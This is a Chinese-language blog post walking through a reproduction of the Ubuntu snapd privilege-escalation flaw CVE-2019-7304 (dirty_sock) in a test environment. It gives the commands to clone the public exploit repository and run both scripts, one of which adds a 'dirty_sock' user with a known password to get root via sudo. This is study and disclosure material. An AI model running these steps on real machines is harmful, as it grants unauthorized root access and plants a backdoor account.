C1imber's Blog

ubuntu本地提权漏洞复现学习(CVE-2019-7304)

字数统计: 359阅读时长: 1 min
2019/02/17 Share

ubuntu本地提权漏洞复现学习(CVE-2019-7304)

摘要

该提权漏洞是由于snapd API中的错误而导致的,默认情况下,Ubuntu附带了snapd
受影响版本:2.37.1以下
测试环境:
ubuntu16.04,snapd的版本为2.34.2,查看snap版本的命令如下

1
snap version

mark

漏洞复现

下载提权使用的exp

1
`git clone https://github.com/initstring/dirty_sock.git

下载下来后里面包含了两个py文件,分别是不同的利用脚本
mark
方式1:

使用dirty_sockv1.py

利用条件:

1.所在的环境需要能够访问到外部网络。
2.需要ubuntu sso的账号,自行到官网注册地址:https://login.ubuntu.com/ 
3.所在的环境需要安装ssh服务

mark
接下来在本地生成公钥

1
ssh-keygen -t rsa -C "<you email>"

mark
将生成的公钥复制到ubuntu账号的SSH keys中
mark
mark

之后在本地执行dirty_sockv1.py

1
python dirty_sockv1.py -u "<you email>" -k "/home/ubuntu/.ssh/id_rsa"

如果没有安装ssh服务会出现如下的问题,最终sudo -i不能成功,但是实际上提权以及成功了
mark
安装ssh服务,然后再sudo -i,就能成功提权到root

1
apt-get install openssh-server

mark
方式2:

无需任何条件,直接执行dirty_sockv2.py即可,执行成功后会创建一个dirty_sock用户,密码也为dirty_sock
mark
首先切换到dirty_sock用户,接下来执行sudo -i,密码输入dirty_sock即可成功提权到root
mark

CATALOG
  1. 1. ubuntu本地提权漏洞复现学习(CVE-2019-7304)
    1. 1.0.1. 摘要
    2. 1.0.2. 漏洞复现